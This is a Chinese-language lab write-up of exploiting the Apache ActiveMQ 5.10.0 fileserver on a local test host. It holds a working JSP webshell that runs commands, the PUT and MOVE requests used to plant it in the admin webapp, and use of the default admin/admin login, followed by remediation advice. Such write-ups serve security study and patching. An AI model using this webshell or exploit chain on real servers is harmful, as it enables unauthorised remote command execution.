部署ActiveMQ运行环境
在linux上部署apache-activemq-5.10.0-bin.tar.gz
通过tar -zxvf apache-activemq-5.10.0-bin.tar.gz解压mq
由于是弱密码,所以可以直接密码登录admin/admin
注意:
如果是密码错误或者不输入密码,则显示如下
输入正确的密码后,通过BurpSuite抓包如下
抓包如下:
改成PUT方法:
此时,htxk.jsp内容为空
重新生成htxk.jsp,文件内容为jsp一句话木马
<%@ page import="java.io.*"%>
<%
out.print("Hello</br>");
String strcmd = request.getParameter("cmd");
String line =null;
Process p=Runtime.getRuntime().exec(strcmd);
InputStream is = p.getInputStream();
BufferedReader br = new BufferedReader(new InputStreamReader(is));
while((line =br.readLine())!=null){
out.print(line+"<br>");
}
%>
查看是否可以执行
可惜没有权限执行
爆出mq的绝对路径
然后利用 MOVE 方法将 Webshell 移入 admin/ 目录(也可以利用相对路径)
MOVE /fileserver/htxk.jsp HTTP/1.1
Destination: file:///home/local/apache-activemq-5.10.0/webapps/admin/htxk.jsp
Host: 192.168.10.106:8161
访问http://192.168.10.106:8161/admin/htxk.jsp?cmd=ls ,命令成功执行,效果如下
解决方法:
5. 漏洞防护方案
1、ActiveMQ Fileserver 的功能在 5.14.0 及其以后的版本中已被移除。建议用户升级至 5.14.0 及其以后版本。
2、通过移除 conf\jetty.xml
的以下配置来禁用 ActiveMQ Fileserver 功能
修复成功
存在漏洞的配置:
https://paper.seebug.org/346/
https://www.seebug.org/vuldb/ssvid-96268